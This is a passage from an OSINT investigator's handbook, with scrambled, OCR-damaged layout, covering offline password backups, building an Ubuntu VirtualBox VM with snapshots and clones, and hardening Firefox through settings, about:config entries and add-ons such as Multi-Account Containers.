such as Lastpass and Dashlane is the ability to sync the password database to all devices over the internet 1 understand the benefits of these features, but it also comes with risk All reputable online password managers encrypt the passwords locally on the user’s device before syncing with their own servers. Theoretically, no one at the password manager company would have the ability to see your individual passwords. However, nothing is hack-proof. It is only a matter of time before something goes wrong. The password to open your password manager should be unique. It should be something you have never used before. It should also contain letters, numbers, and special characters. It is vital that you never forget this password, as it gives you access to all of the credentials that you do not know. I encourage users to write it down in a safe place until memorized. It is vital to make a backup of your password database. When you created a new database, you chose a name and location for the file. As you update and save this database, make a copy of the file on an encrypted USB drive. Be sure to always have a copy somewhere safe, and not on the internet If your computer would completely crash, and you lose all of your data, you would also lose all of the new passwords you have created. This would be a huge headache. Prepare for data loss now. By keeping your passwords in an offline database, you eliminate this entire attack surface. By keeping your password manager ready in your host machine, you will have immediate access to it regardless of which virtual machine you are using during an investigation. That brings us to the next chapter. It is now time to create our investigation environment. 10 Chapter 2 I jnux Virtual Machines 11 Ch a pt e r t w o Lin u x Vir t u a l Ma c h in e s This chapter presents ways that you can harden your security by using a Linux operating system during your investigations. Many years ago, this may have been intimidating to non-technical users. Today, implementing Linux into your investigations is extremely easy. This chapter is intentionally at the beginning of the book in order to better protect you and your investigations right away. Once we start exploring the world of online search techniques, you will likely encounter malicious software or viruses at some point. If you investigate cyber criminals, this will be sooner rather than later. The malicious code will almost always target Windows machines. By choosing Linux as your investigations system, you greatly lessen the concern about infections. This chapter will vary from basic tutorials through advanced technologies. I present material on Linux before online searching because I want you to have a safe and secure environment for your research, without the fear of exposing your personal computer. In 2015,1 actively taught methods that would take a standard Linux system, such as Ubuntu or Mint, and install it to a USB device. This device could be inserted into a computer, booted, and a native Linux system would be present. When the machine was turned off, all history of that session was eliminated. This was a quick and easy way to conduct high-risk investigations while protecting the integrity of a personal computer. Unfortunately, this was slow, mostly due to the speed bottleneck of the USB device. It was a valid practice with good intentions, but not extremely applicable to most OSINT investigators today. Previous editions of this book had an entire chapter devoted to creating these devices. Today, 1 discourage it Linux operating systems have been a part of my OSINT investigations and trainings for many years. They are lightweight, run on practically any hardware, cost nothing, and provide a level of security that cannot be obtained through traditional operating systems such as Microsoft Windows. During my training, 1 often demonstrate how I use Linux as a virtual machine (VM) or bootable USB device. In both scenarios, I can navigate to any malicious website, download ever}’ virus possible, and eliminate all traces of my activity by simply rebooting the system while reverting the VM. Upon reboot, there are no viruses and everything works exactly as intended when the system was created. This concept is not new. Many readers are likely familiar with I Jnux systems such as Kali. This is a custom 1 jnux build which includes hundreds of security testing tools for the cyber security community. It is considered an all- in-one operating system that has everything pre-configured upon installation. We wanted that same experience for the OSINT community. Buscador was designed from the ground up with considerations for OSINT investigations. The web browsers were pre-configured with custom settings and extensions, and numerous OSINT software applications were already set-up to accept your search queries. In 2016,1 was contacted by David Westcott. We knew each other through our OSINT work, and he asked if I was interested in creating a custom OSINT virtual machine. I had always considered this, but had concerns about my skills at hardening Linux systems and pushing out finished builds. David had worked on other public Linux releases, and was much more comfortable distributing custom systems. I began designing my drcam OSINT build, sending him weekly requests, and he began taking the ideas and executing them within a test product. By 2017, the first public version of our new operating system was released and titled Buscador (Seeker in Spanish). An important part of Buscador was the applications. On many Linux builds, launching software is nor similar to traditional operating systems. While the software is installed, you must still launch a Terminal window and type the specific commands required. This can be very difficult and unforgiving. There are seldom point-and- click icons that launch similar to Windows. This has always created a barrier between the geeks and the norms. Either you know how to issue Linux commands or you do not. If you don't, then you never get to take advantage of the power of Linux and Python. Today, my views of pre-built virtual machines have changed slightly. While I Virtual Machines VirtualBox (virtualbox.org) 12 Chapter 2 Volumes could be written about the features and abilities of VirtualBox. I will first explain how to install the application and then ways to configure a virtual machine. VirtualBox installation instructions can be found at virtualbox.org but are not usually straightforward. At the time of this writing, the following steps installed VirtualBox to my MacBook Pro. — ' “ ’ ” ’ . . • , •• ■[ am prQUd of our work with Buscador, 1 believe we should no longer rely on systems from third parties. Buscador is no longer updated with new versions, and there is no online repository to apply updates to the many applications within the virtual machine. 1 no longer offer a direct download link to Buscador from my site because security patches have not been applied since 2019. Many of the people using Buscador now receive errors due to outdated applications and most users do not have the training to apply their own updates in order to correct any issues. Creating a virtual machine which was user friendly had many benefits, but also some unintended consequences. My goal in this chapter is to help you easily create and maintain your own OSINT Linux virtual machine with all of the features of Buscador. Overall, we should never rely on a single source for our OSINT resources. It is easier than ever to build your own version of Buscador while keeping it updated. By the end of this section, you will possess a custom OSINT Linux, Windows, or Mac machine which rivals any pre-built options available through various providers. Better yet, you will have built it yourself and can replicate your steps whenever desired, while being able to explain your actions. Virtual machines (VMs) conduct emulation of a particular computer system. They are computer operating systems on top of computer operating systems. Most commonly, a software program is executed within an operating system, and individual operating systems can launch within that program. Each virtual machine is independent from the other and the host operating system. The environment of one virtual machine has no impact on any others. Quite simply, it is a way to have numerous computers within your single computer. When finished, you can safely investigate a single target within a secure environment with no contamination from other investigations. You will be able to clone an original VM in minutes and will no longer need to worry about persistent viruses, tracking cookies, or leftover evidence. We wanted to eliminate that barrier. We wanted to make powerful Linux programs easily accessible to everyone. My initial thought was to create Bash scripts similar to batch files in Windows, but David came up with a much easier and more appropriate way. Every tool inside Buscador had its own icon in the Dock, executed by clicking with a mouse, which walked the user through the menus. After collecting the required data, each program executed the proper commands behind the scenes and delivered the content directly to the user. We believed this to be unique in our community. Every person, at any skill level, could use Buscador as a Linux virtual machine for immediate OSINT work. Before creating a virtual machine, you must possess virtual machine software. There are several programs which allow you to create and execute virtual machines. Some of these are paid programs, such as VMWare. However, I will focus mostly on VirtualBox here. VirtualBox is completely free and easy to operate. All methods presented here for VirtualBox can be replicated on VMWare or any other virtualization software. • Navigate to virtualbox.org/wiki/Downloads. • Click the first appropriate link for your OS, such as "OS X Hosts" or "Windows Hosts". • If required, select the highest version NOT including "Beta", such as "6.1.28". • Download the appropriate "dmg" file for Mac or "exe" file for Windows. • Download the Extension Pack for your version, such as "6.1.28.vbox-extpack". • Install the dmg or exe file with all default settings. • Double-click the Extension Pack and add it to VirtualBox. Ubuntu Linux Linux Virtual Machines 13 • Provide a name of "OS1NT Original". • Choose your desired location to save the machine on your host (I chose my Documents). • Select "Linux" as type, "Ubuntu (64-bit)" as version, and click "Continue" (or "Next"). • In the Memory size window, move the slider to select 50% of your system memory’. • Click "Continue" and then "Create". • Leave the hard disk file type as "VDI" and click "Continue" (or "Next"). While VirtualBox is free software, make sure your organization meets the requirements for usage of the free Extension Pack license. The only requirement for VirtualBox to function is a computer that suppons virtualization. Any modern Apple product will work without any modification. Most mid-range and high-end Windows computers made within the past five years should have no problem, but may require you to enable virtualization support in the BIOS (Basic Input / Output System) during startup. Netbooks, older machines, and cheap low-end computers will likely give you problems. If you are in doubt about meeting this requirement, search for your model of computer followed by "virtualization" and you should find the answers. The rest of this section will assume that your computer meets this requirement. This may be quite controversial to some Linux enthusiasts, but I recommend Ubuntu as an ideal Linux operating system for our OS1NT machine. While 1 use a Debian build for my own personal use due to the privacy' and security of that operating system, Ubuntu is more appropriate for a wider audience. Debian can present complications when trying to display' the Dock or enable sudo features. If you are comfortable with Debian and insist on using it versus Ubuntu, go for it. For those who want an easier option, I will only explain the process using Ubuntu. As I write this, the current stable release of Ubuntu is 20.04 LTS, and my’ entire build is based on that release. LTS refers to Long-Term Support. This version will receive updates and patches until April of 2025. As you read this, you may see a "newer" version such as 20.10 or 21.04. While this may seem more appropriate for daily’ use, it is not. Versions which begin with an odd number or end in ".10" are interim releases with a short support cycle. Only’ versions which begin with even numbers and end in ".04" should be considered. If you are reading this after April of 2022, you will likely’ see a version labeled 22.04. This should be used instead of 20.04, and most, if not all, of the following tutorials should function. If not, I will update the digital files available to you for download, which will be explained more later. Always use the latest LTS release. First, we need to download an ISO file containing the installation files for Ubuntu. The official website is very’ user-friendly, and can be reached at ubuntu.com/download/desktop. This presents a Long-Term Support (LTS) option, which is currendy’ 20.04.03. Clicking the "Download" button should prompt you to download the ISO file required to install Ubuntu. This will be a large file with an extension of iso. During this writing, my file was titled "ubuntu-20.04.03-desktop-amd64.iso". This file behaves similarly to a physical CD which would install Windows or any’ other operating sy'stem. The 64-bit version should apply’ to most readers and their computers. If you know you need a 32-bit version for an older computer, y’ou will find it in the "Alternative Downloads" section of the site. Save the file to your Desktop or anywhere else to which you have easy’ access. Expect an approximate file size of 2GB. Next, open VirtualBox and click on the button labeled "New". The following steps create a VM appropriate for our needs. You may’ have heard of Ubuntu Linux. It is one of the most popular Linux distributions, and it is based on Debian as its backbone. Ubuntu is the product of a corporation called Canonical. Some still criticize Ubuntu for previously including Amazon software in the default downloads, which provided affiliate funding to Ubuntu when you made an online purchase, but this has been removed in current versions. The following could be replicated with other "flavors" of Linux if desired, with minimal differences within installation menus. As new versions of Ubuntu are released, you may see minor changes to the following tutorials. However, the general functions should remain the same. Before we continue, I should explain Ubuntu versioning. the Ubuntu Desktop. 14 Chapter 2 • Click the Settings icon. • Click the Storage icon. • Click the CD icon which displays "Empty" in the left menu. • Click the small blue circle to the far right in the "Optical Drive" option. • Select "Choose a disk file". • Select the Ubuntu ISO previously downloaded then click "Open". • Click "OK" and then "Start" in the main menu. • If prompted, confirm your choice by clicking "Start". • Select the default option of "Dynamically allocated" and click "Continue" (or "Next"). • Choose the desired size of your virtual hard drive. If you have a large internal drive, 40GB should be sufficient. If you are limited, you may need to decrease that number. • Click "Create". • Click "Skip" then "Next". • Select "No" and then "Next" when asked to help improve Ubuntu. • Click "Next" then "Done" to remove the welcome screen. • If prompted to install updates, click "Remind me later". Your device should now boot to the login screen. In my example, it booted directly to The following will finish the default configuration. Your Ubuntu installation process should now start within a new window. You should be booting to the ISO file downloaded previously, which is behaving as if you had placed an Ubuntu install CD into the virtual computer. This is your first virtual machine running on top of your host operating system. If the window is too small, click "View", "Virtual Screen", then "Scale to 200%" within the VirtualBox menu. Avoid this step, if possible, as it may cause viewing issues later. Consider reversing this setting once you are finished if things appear large. We can now finish the installation of your Ubuntu installation with the following steps within VirtualBox. Your VM has been created, but it will do nothing upon launch. We need to tell it to boot from the ISO file which we downloaded previously. Select your new machine in the menu to the left and complete the following steps. You now have a functioning virtual machine which contains the basic programs we need to use the internet. By default, it is using your host computer's internet connection, and taking advantage of your host's VPN if you have it connected. Technically, we could start using this machine right away, but the experience would get frustrating. We need to take some additional steps to configure the device for optimum usage. The first step • Select "Install Ubuntu", select your desired language and location, then click "Continue". • Select "Normal Installation", "Download Updates", and "Install third party7...". • Click "Continue". • Select "Erase disk and install Ubuntu", then "Install Now". Confirm with "Continue". • Choose your desired time zone and click "Continue". • Enter a name, username, computer name, and password of "osint" (without quotes and lowercase) for each field. This is a mandatory step as part of the tutorials and scripts presented in this book. While any other username could work at first, you will face issues as you proceed. Please make sure the username and computer name is ’’osint”. • Since this is a virtual machine inside a secure computer, minimal security7 is acceptable. • Choose "Log in to automatically" and click "Continue". • Allow Ubuntu to complete the installation and choose "Restart Now", then press Enter. Linux Virtual Machines 15 Next, we should consider some of die privacy and security settings within Ubuntu. The first two Terminal commands disable Ubuntu's crash reporting and usage statistics while the remaining steps within Ubuntu's operating system harden our overall privacy and security. • sudo apt purge -y apport • sudo apt remove -y popularity-contest • Launch "Settings" from the Applications Menu. • Click "Notifications" and disable both options. • In the VirtualBox Menu, select Devices > "Insert Guest Additions CD Image". • Click "Run" when the dialogue box pops up. • Provide your password (osint) when prompted. • Allow the process to complete, press Return, and restart the VM (upper-right menu). • Launch Terminal from the Applications menu. • Entergsettings set org. gnome, desktop, background picture-uri ’’and press return to remove the background image. • Entergsettings set org.gnome.desktop.background primary-color 'rgb(66, 81, 100) ' and press return to set a neutral background color. You should now have VirtualBox Guest Additions installed. You can test this by resizing the screen. If you make the Ubuntu VM full screen, you should see the overall screen resolution change with it If you changed the scaling of the window previously, change it back to 100%. If all appears to be functioning, you can right­ click the CD icon in the left Dock and choose "Eject". If not, double-click the CD icon and choose "Run Software" in the upper right corner to repeat the process. Next, we should make some modifications within the VirtualBox program in order to experience better functionality. Shut down the Ubuntu VM by clicking on the down arrow in the upper right and choosing the power button, followed by "Shut down". In VirtualBox, select your Ubuntu VM and click the "Settings" icon. Next, conduct the following steps. You should now have a more robust display, copy and paste capabilities, and a new shared folder connecting your VM to your host on the Desktop. You can copy files from your VM directly to your host and vice versa. This has improved a lot of function, and now it is time to personalize the machine. Personally, I do not like the default colors and wallpaper of Ubuntu, and prefer something more professional. Ubuntu 20 removed the ability to easily change wallpaper to a solid color, so we will do it all through Terminal. I conducted the following on my new VM. • In the "General" icon, click on the "Advanced" tab. • Change "Shared clipboard" and "Drag n' Drop" to "Bidirectional". • In the "Display" icon, change the Video Memory to the maximum. • In the "Shared Folders" icon, click the green "+". • Click the dropdown menu under "Folder Path" and select "Other". • Choose a desired folder on your host to share data back and forth. • Select the "Auto-mount" option and then "OK". • Click "OK" to close the settings window. • Restan your Ubuntu VM. • Click the nine dots in the lower-left to open the "Applications" menu. Search "Terminal" and open the application. In it, type sudo adduser osint vboxsf and press enter. When prompted, provide your password, which is not revealed in the window as you type, and press enter. should be to install VirtualBox's Guest Additions software. This will allow us to take advantage of better screen resolution and other conveniences. Conduct the following steps. Snapshots Snapshots (VirtualBox); Completely shut down the Virtual Machine and conduct the following. 16 Chapter 2 • Click the "Privacy" option, then click "Screen Lock" and disable all options. • Click "File History & Trash", then disable any options. • Click "Diagnostics", then change to "Never". • Click the back arrow and click "Power", changing "Blank Screen" to "Never". • Click "Automatic Suspend" and disable the feature. • Close all Settings windows. You now have the Terminal and Software Updater in your Dock for easy access. Check for updates weekly and keep your original copy ready for usage. This brings us to a conversation about the term "Original". Ideally, you will keep a copy of this VM clean and free of any internet usage or contamination. There are two ways to achieve this, and both have unique benefits. First, let's discuss Snapshots. • Launch the Applications menu (nine dots in lower-left). • Type Terminal into the search field. • Right-click on the application and select "Add to Favorites". • Type Software into the search field and right-click on "Software Updater". • Select "Add to Favorites". • Press escape until all windows are gone. • Launch the Software Updater icon from the Dock; click "Install Now"; and update all options. • In the VirtualBox Menu, click on the "Snapshots" button in the upper right. • Click on the blue camera icon to "take a snapshot". • Create a name to remind you of the state of the machine, such as "New Install". • Click OK. A great feature of virtual machines is the use of Snapshots. These "frozen" moments in time allow you to reven to an original configuration or preserve an optimal setup. Most users install the virtual machine as detailed previously, and then immediately create a snapshot of the unused environment. When your virtual machine eventually becomes contaminated with remnants of other investigations, or you accidentally remove or break a feature, you can simply revert to the previously created snapshot and eliminate the need to ever reinstall. Consider how you might use snapshots, as detailed in the following pages. Upon creation of a new Ubuntu virtual machine, apply all updates as previously mentioned. Completely shut down the machine and open the Snapshots option within your virtual machine software. Create a new snapshot and title it "Original". Use this machine for a single investigation, and export all evidence to an external USB device, such as a flash drive. You can then "restore" the Original snapshot, and it overwrites any changes made during the previous investigation. Upon reboot, all history and evidence is eliminated. This ensures that you never contaminate one investigation with another. When there are substantial updates available for Ubuntu, you can load the default configuration, and apply all updates. You can then shut the machine down completely and delete the Original snapshot, without saving it, and create a new snapshot tided Original. This new snapshot possesses all of the updates. If using this technique, I usually delete and create a new snapshot weekly. The use of snapshots is very similar between VirtualBox and VMWare, but let's take a look at the minor differences. It is important to keep the software on this original VM updated. There are different ways to do this, but I will focus on the easiest way within the operating system applications. While we do this, it may be a good time to add some commonly used applications to our Dock. Conduct the following steps. VM Exports and Clones Linux Virtual Machines 17 • Completely shut down the Virtual Machine. • In the VirtualBox Menu, click on "Snapshots" and select the desired snapshot to apply. • Click on the blue camera icon with arrow to "restore snapshot". • Deny the option to save the current data, and click Restore. • Completely shut down the Virtual Machine. • In the VMWare Menu, click on "Snapshots" and click the camera icon to "take" a snapshot. • Create a name to remind you of the state of the machine, such as "New Install" and click "Take". • Completely shut down the Virtual Machine. • In the VMWare Menu, click on the "Snapshots" button in the upper right • Select the desired snapshot to apply. • Click on the camera icon with arrow to "restore" a snapshot and click Restore. • Launch the Original VM weekly to apply updates or global changes, then close the VM. • In the VirtualBox menu, right-click on the Original VM and select "Clone". • Create a new name such as Case #19-87445 and click "Continue" (or "Next") then "Clone". You can now use your virtual machine as normal. If you ever want to revert to the exact state of the machine that existed at the time of the snapshot, follow these instructions: You can now use your virtual machine as normal. If you ever want to revert to the exact state of the machine that existed at the time of the snapshot, follow these instructions: Snapshots (VMWare): VMWare is not free, but a license can be purchased for under SI00. In my experience, VMWare performs better than VirtualBox with less frustration. If you find yourself relying on VMs for your daily investigations, I believe a paid license is justified. I focus on VirtualBox due to the price (free). VMWare does offer free versions of this software titled Workstation Player (Windows) and Fusion Player (Mac). However, these versions are severely limited. You cannot create snapshots or clone VMs. If you plan to create a VM without the need to copy or preserve the state, then this product may work for you. If you ever want to preserve a specific state of Ubuntu, you can export an entire session. This may be important if you are preserving your work environment for court purposes. When I am conducting an investigation that may go to trial, or discovery of evidence will be required, I make an exact copy of the operating system used during the investigation. At the end of my work, 1 shut down the machine. I click on "File" and then "Export" within my virtual machine software and create a copy of the entire operating system exactly as it appeared at shutdown. This file can be imported later and examined. After a successful export, 1 restore my clean "Original" snapshot and I am ready for the next case. The exported file is added to my digital evidence on an external drive. I now know that I can defend any scrutiny by recreating the exact environment during the original examination. As stated previously, 1 prefer Clones over Snapshots. I create an exact replica of my original VM for every7 investigation, and never use Snapshots within these unique VMs. For clarity, consider my routine for every OS1NT investigation I conduct, which takes advantage of the "Clone" option within VirtualBox. If you ever want to remove a snapshot, simply use the "delete" icon. Today, I rarely use snapshots, as 1 believe they are prone to user error. 1 much prefer Cloned machines. These require more disk space, but provide a greater level of usability between investigations. Examples are explained in greater detail in a later chapter. Optionally, if you ever want to remove a snapshot, simply click the icon with a red "X". This will remove data files to eliminate wasted space, but you cannot restore to that image once removed. It will not impact the current machine state. Many users remove old, redundant snapshots after creating newer clean machines. Errors 18 Chapter 2 • sudo apt update • sudo apt install -y build-essential dkms gcc make perl • sudo rcvboxadd setup • reboot I wish I could say that even’ reader will be able to easily build virtual machines on any computer. This is simply not the case. While most computers are capable of virtual machine usage, many demand slight modifications in order to allow virtualization. Let's take a look at the most common errors presented by VirtualBox. This creates an identical copy of the VM ready for your investigation. You have no worries of contaminating your original VM. You can keep this clone available for as long as needed while you continue to work within several investigations. You can export the clone in order to preserve evidence, or delete it when finished. Neither action touches the original copy. It is similar to possessing a new computer for every case and having all of them at your disposal whenever you want to jump back into an investigation. VT-x is disabled: Any version of this error is the most common reason your VMs will not start. This indicates that the processor of your computer either does not support virtualization or the feature is not enabled. The fix for this varies by brand of machine and processor. Immediately after the computer is turned on, before the operating system starts, enter the BIOS of the machine. This is usually accomplished by pressing delete, F2, F10, or another designated key right away until a BIOS menu appears. Once in the BIOS, you can navigate through the menu via keyboard. With many Intel processors, you can open the "Advanced" tab and set the "Virtualization (VT-x)" to "Enable". For AMD processors, open the "M.I.T." tab, "Advanced Frequency" Settings, "Advanced Core" settings, and then set the "SVM Mode" to "Enable". If none of these options appear, conduct an online search of the model of your computer followed by "virtualization" for instructions. Apple Ml Issues: A new Mac computer with an Ml processor may cause a lot of frustration. This is due to the conflicts between the chip and the VM operating systems. Once the bugs are worked out with VirtualBox, VMWare Fusion, and Parallels in 2022,1 expect to see functioning Ubuntu virtual machines for Ml devices. However, this will likely require the ARM version of Ubuntu. I will provide any updates on my podcast. Your original VM should only be used to install new software and apply updates. Throughout the next several chapters, I will reveal more about my usage protocols. Hopefully, you now have either VirtualBox or VMWare installed and an Ubuntu installation created as a virtual machine. You have chosen to either use Snapshots or Clones as part of your investigation (I prefer Clones). Now it is time to play with the many applications available for Linux. We should start with the most important application we have - web browsers. VT-x is not available: This is usually isolated to Windows 10 machines. Navigate to the Windows Control Panel and open "Programs and Features". Click "Turn Windows features on or off' and uncheck all "Hyper-V" features. Click "OK" and reboot. If the Hyper-V option is not enabled, enable Hyper-V, restart the computer, disable Hyper-V, and reboot again. Attempt to start your VM with these new settings. This may seem backwards, but it makes sense. Previous versions of VirtualBox cannot run if you are using "Hyper-V" in Windows. Basically, both systems try to get exclusive access to the virtualization capabilities of the processor. Hyper-V within Windows receives the access first and impedes VirtualBox from the capabilities. The latest version of VirtualBox attempts to correct this. If the previous setting did not help, tty to re-enable all of the Hyper-V options within Windows, reboot, and try to boot your VM again. If you are still experiencing problems, read the troubleshooting chapter of the VirtualBox manual at virtualbox.org/manual/chl2.html. Expand any errors received and search the provided error codes to identify further solutions. VirtualBox Displays: Some readers of previous editions have reported the inability to resize VM windows within VirtualBox and the "Auto-resize Guest Display" menu option greyed out. The following commands within Terminal of the Linux VM should repair this issue. There is no harm running these if you are unsure. Firefox (mozilla.org) Web Browsers 19 Ch a pt e r Th r e e We b Br o w s e r s If you are a Windows user, your default web browser is either Internet Explorer or Microsoft Edge. Apple users are presented Safari by default. I believe OSINT professionals should avoid these at all costs. All are inferior in my opinion, and you will encounter difficulties with some of the websites and sendees mentioned later. Therefore, we need a better browser. For the purposes of this chapter, I will assume you are configuring the Firefox application included in your new Ubuntu VM. However, all of the methods explained here could be replicated within your host or any other computer. If you will be using your host computer for any web browsing, Firefox is highly recommended as the default browser. Regardless of where you will be conducting your online investigations, have a properly configured Firefox application. • Click on the menu in the upper right and select "Settings", "Options", or "Preferences". • In the "General" options, uncheck both "Recommend extensions as you browse" and "Recommend features as you browse". This prevents some internet usage information from being sent to Firefox. • In the "Home" options, change "Homepage and new windows" and "New tabs" to "Blank page". This prevents Firefox from loading their sendees in new pages and tabs. • Disable all Firefox "Home Content" options. • In the "Privacy & Security" options, enable "Delete cookies and site data when Firefox is closed". This cleans things up when you exit the browser. • Uncheck all options under "Logins and Passwords". • Change the History setting to "Firefox will use custom settings for history". • Uncheck the box tided "Remember browsing and download history". The most vital application in this chapter is the Firefox web browser. Most of the search methods that you will learn throughout this book must be conducted within a web browser. The Firefox browser has enhanced security and a feature called "add-ons" or "extensions". These are small applications which work within the browser that perform a specific function. They will make searching and documentation much easier. I also use the Chrome web browser when necessary, and will explain some customizations later. However, many of the extensions that I need are only compatible with Firefox. The following instructions apply to any recent version of Firefox, including builds for Windows, Mac, and Linux (Firefox is already installed in Ubuntu). Downloading and installing Firefox is no different than any other application. Detailed directions are readily available on their website. The browser will not look much different from the browser you were previously using. When installing and executing, choose not to import any settings from other browsers. This will keep your browser clean from unwanted data. The next step is to ensure your browser is up to date. You can check your version of Firefox by clicking on the Menu button in the upper right (three horizontal lines), then the Help button (?), and finally the option labeled "About Firefox". This will open a new window that will display the version of Firefox you are running, or a warning that the version you have is out of date. Before identifying Firefox resources which will aid in our OSINT research, we must first secure our browser to the best of our ability. While the default Firefox installation is much more private and secure than most other browsers, we should still consider some modifications. I personally use Firefox for all of my OSINT investigations in my VMs, and as my default web browser on my personal laptop. I no longer possess multiple browsers for various tasks. I believe that Firefox is the most robust, secure, and appropriate option for almost any scenario. However, 1 recommend changing the following settings within Firefox. this will break Firefox 20 Chapter 3 • geo.enabled: FALSE: This disables Firefox from sharing your location. • dom.battery.enabled: FALSE: This setting blocks sending battery level information. • extensions.pocketenabled: FALSE: This disables the proprietary Pocket service. • browser.newtabpage.activity-stream.section.highlights.includePocket: FALSE • services.sync.prefs.sync.browser.newtabpage.activity-stream.section.highlights.includePocket:-FALSE • browser.newtabpage.activity-stream.feeds.telemetry: FALSE: Disables Telemetry. • browser.ping-centre.telemetry: FALSE: Disables Telemetry. • toolkit.telemetry.server: (Delete URL): Disables Telemetry. • toolkittelemetry.unified: FALSE: Disables Telemetry. • media-autoplay.default: 5: Disables audio and video from playing automatically. • dom.webnotifications.enabled: FALSE: Disables embedded notifications. • privacy.resistFingerprinting: TRUE: Disables some fingerprinting. • webgl.disablcd: TRUE: Disables some fingerprinting. • network.http.sendRefererHeader: 0: Disables referring website notifications. • identity.fxaccounts.enabled: FALSE: Disables any embedded Firefox accounts. • browser.tabs.crashReporting.sendReport: FALSE: Disables crash reporting • pdfjs.enableScripting: FALSE: Prevents some malicious PDF actions. • network.dns.disablePrefetch: TRUE: Disables prefetching. • network.dns.disablePrefetchFromHTTPS: FALSE: Disables prefetching. • network.prefetch-next: FALSE: Disables prefetching. You will receive a warning about making changes within this area, but the modifications we make will be safe. Choose to accept the risks. Some of these aboutxonfig settings may already be on the correct setting, but most probably will not To change most of these settings you can simply double-click the setting to toggle it between "True" and "False". Some may require additional input, such as a number. Because the list of aboutxonfig settings contains hundreds of entries, you should search for all of these through the search bar in the aboutxonfig tab. The settings in the following examples are desired options. You would want the first example to be changed to FALSE. • Uncheck the box titled "Remember search and form history". • Check the box titled "Clear history when Firefox closes". • Do NOT check the box titled "Always use private browsing mode", as Containers. • Uncheck "Browsing history" from the "Address Bar" menu. • In the "Permissions" menu, click "Settings" next to Location, Camera, Microphone, and Notifications. Check the box tided "Block new requests..." for each of these options. • Uncheck all options under "Firefox Data Collection and Use". • Uncheck all options under "Deceptive Content and Dangerous Software Protection". This will prevent Firefox from sharing potential malicious site visits with third-party services. This leaves you more exposed to undesired software attacks, but protects your internet history from being shared with Google. • Enable "HTTPS-Only Mode in all windows". Firefox allows users to modify many configuration settings, and some of these deal with privacy and security concerns. Though some of these changes can be made in the menu of Firefox’s preferences, changes made through aboutxonfig tend to be more durable and granular. To access the list of configuration settings, open Firefox and type "aboutxonfig" into the Uniform Resource Locator (URL) field. This is the place where you would traditionally type the website you wish to visit The terms URL, web address, and website will be used interchangeably throughout the book. Firefox Add-ons (Extensions) Web Browsers 21 • media.peerconnection.enabled: FALSE • mcdia.peerconnection.tum.disable: TRUE • media.peerconnecdon.use_documcnt_iceservers: FALSE • media.peerconnecrion.video.enabled: FALSE • media.navigator.enabled: FALSE • Firefox Containers: Isolate specific sites within tabs which do not see settings from other sites. • uBlock Origin: Block undesired scripts from loading. • DownThemAll: Download bulk media automatically. • Bulk Media Downloader: Download bulk media automatically. • VideoDownloadHelper: Download media from a page with a click of a button. • FireShot: Generate screenshots of partial and entire web pages. • Nimbus: Alternative screen capture for large web pages. • Exif Viewer: Identify metadata embedded inside a photograph. • User-Agent Switcher and Manager: Emulate various browsers and devices. • Image Search Options: Conduct automatic reverse image searches. • Resurrect Pages: Enable historical search on deleted websites. • Copy Selected Links: Quickly copy all hyperlinks from a website. • OneTab: Collapse or expand tabs into a single resource. • Stream Detector: Identify embedded video streams for archiving. • KeePassXC Browser: Automatically enter stored usernames and passwords. It is not vital that all of these security settings be applied to your systems. Firefox natively respects your privacy and security more than other browsers. These recommendations are for those that want to tweak additional settings that may provide a new layer of protection, even if minimal. Next, I will discuss the biggest benefit of Firefox, which is the abundance of helpful browser extensions called add-ons. There are thousands of extensions available for Firefox. Some are helpful, some are worthless, and some are fun. This chapter will discuss several of them. The Firefox add-ons, sometimes called extensions, detailed here will include a website for each option. You can either visit the website and download the add-on, or search for it from within Firefox. The latter is usually the easiest way. While Firefox is open, click on the menu in the upper right and then "Add-ons". This will present a page with a search field in the upper right comer. Enter the name of the extension and install from there. The following are my recommendations, in order of importance. The following pages provide explicit instructions for installing and configuring each of these add-ons. At the end, 1 will explain how you can export your settings and replicate your work across practically any Firefox installation. This will preserve your work and allow you to receive an identical experience if conducting investigations across multiple computers. This will also benefit your virtual machines. Ideally, you would complete all browser configurations within your original VM before cloning, exporting, or use of snapshots. WebRTC: These settings address a potential vulnerability of leaked IP addresses. If you use audio or video communications within your browser, such as virtual conferencing software, these could break those sendees and should be ignored. If you are protected within a home network VPN, as explained later, these are not vital changes. Firefox Multi-Account Containers (addons.mozilla.org/addon/multi-account-containers) in Figure 3.01 (left). 22 Chapter 3 Personal Alias 01 /Mias 02 Alias 03 Alias 04 Leaks Google Harmful On my machine, I have the following containers, which can be seen The first Firefox Add-on which I use daily is the Multi-Account Containers option from Mozilla. Multi-Account Containers allows you to separate your various types of browsing without needing to clear your history, log in and out, or use multiple browsers. These container tabs are like normal tabs, except the sites you visit will have access to a separate slice of the browser's storage. This means your site preferences, logged-in sessions, and advertising tracking data will not carry over to the new container. Likewise, any browsing you do within the new container will not affect your logged in sessions, or tracking data of your other containers. Below is an example. On my personal laptop, I have a container tab open which I use to log in to my email provider. I have my inbox open in this tab. I want to order a product from Amazon, but I do not want them to see any cookies stored by my email provider. I also want to conduct a Google search, but do not want Google to see any data present from my Amazon search. I simply open a unique container tab for each of these events. Each sees the session as unique, and no data is shared from one service to another. Once installed, you will see a new icon in the upper right in your Firefox browser which appears as three squares and a "+" character. Click on it and select the container you want to open. Default options include choices such as Personal and Shopping, but you can modify these any way you desire. You can create, delete, and edit containers from the main menu. When you click the "Manage Containers" option, you can change the color or icon associated with a container or change the container name. The following tutorial replicates my configuration for OS1NT investigations. OSINT investigators can use this technique in many ways. With a traditional browser, you can only be logged in to one instance of a social network. If you are logged in to a coven Facebook account, then open a new tab and navigate to Facebook, you will be presented with the same logged-in account used in the previous tab. With containers, we can isolate this activity. You can log in to one Facebook account in one container, another Facebook account in a second container, and any additional accounts in their own containers. This applies to any sendee, such as Twitter, Reddit, or others. This allows us to simultaneously access multiple accounts within the same sendee without logging out or opening a different browser. This is a substantial update from previous editions. Let's configure it for optimal use. • Open the Multi-Account Containers menu and click the "Manage Containers" option. • Delete all containers by selecting each and clicking "Delete This Container". • In the "Manage Containers" menu, click the + in the upper left. • Enter the name of your new container, such as "Alias 01". • Choose a desired color and icon. • Repeat this process to create the number of containers desired. You can now either open a new container as a blank page or open links in a new or different container. The following are a few of my usage examples. Web Browsers 23 • Communications: Personal email and calendar accounts • Financial: Banking and credit card accounts • Search: All Google queries • Alias: Any social network accounts in another name Google tab. menu and select "Always open This Site in...". • Create a Containers tab titled "Google". • Click on the Containers menu and open a new • Connect to googlc.com and click the Containers • Select the desired container. • Navigate to google.com from a standard tab. • Select "Remember my decision..." and then "Open in..." the desired container. Multiple Logins: While in Firefox, I want to open Facebook inside a unique container. I click on the containers menu 